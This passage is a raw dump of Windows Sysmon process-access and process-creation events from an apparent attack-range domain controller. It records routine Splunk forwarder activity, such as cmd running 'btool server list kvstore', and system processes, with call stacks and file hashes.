Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001819Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001818Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001817Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001816Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001815Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001814Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001813Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001812Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001811Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.809{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-28D0-5F80-4800-000000007F01}2280C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001810Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001809Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.809{A5F018FF-28D0-5F80-4700-000000007F01}29841864C:\Windows\system32\cmd.exe{A5F018FF-28D0-5F80-4800-000000007F01}2280C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000001808Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.816{A5F018FF-28D0-5F80-4800-000000007F01}2280C:\Program Files\SplunkUniversalForwarder\bin\btool.exe8.0.2btoolsplunk ApplicationSplunk Inc.btool.exebtool server list kvstore --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B{A5F018FF-28D0-5F80-4700-000000007F01}2984C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /c btool server list kvstore --no-log 10341000x80000000000000001807Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.809{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D0-5F80-4700-000000007F01}2984C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001806Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001805Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001804Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001803Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001802Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001801Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001800Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001799Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001798Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001797Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.809{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-28D0-5F80-4700-000000007F01}2984C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001796Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.809{A5F018FF-28D0-5F80-3F00-000000007F01}39563960C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe{A5F018FF-28D0-5F80-4700-000000007F01}2984C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\System32\ucrtbase.dll+9ea4a|C:\Windows\System32\ucrtbase.dll+9e42e|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+43bc6|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+6665|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+14ab4|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+d1d8|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+1adfc|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+4cf68|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000001795Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.812{A5F018FF-28D0-5F80-4700-000000007F01}2984C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c btool server list kvstore --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-28D0-5F80-3F00-000000007F01}3956C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal_extra_splunkd_service_args 10341000x80000000000000001794Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.778{A5F018FF-28D0-5F80-4500-000000007F01}40644068C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e675|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e1a6|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f344c|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f2a91|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+19fdb50|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001793Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.778{A5F018FF-28D0-5F80-4600-000000007F01}40882616C:\Windows\system32\wbem\wmiprvse.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1040C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\System32\combase.dll+50a3b|C:\Windows\System32\combase.dll+a78d2|C:\Windows\System32\combase.dll+a81fe|C:\Windows\System32\combase.dll+a7fbf|C:\Windows\System32\combase.dll+46818|C:\Windows\System32\combase.dll+46430|C:\Windows\System32\combase.dll+54167|C:\Windows\System32\combase.dll+c1a64|C:\Windows\System32\combase.dll+521e1|C:\Windows\System32\combase.dll+52730|C:\Windows\System32\combase.dll+1fca|C:\Windows\System32\RPCRT4.dll+dbd2a|C:\Windows\System32\RPCRT4.dll+7d09|C:\Windows\System32\combase.dll+22b9|C:\Windows\System32\combase.dll+53b93|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C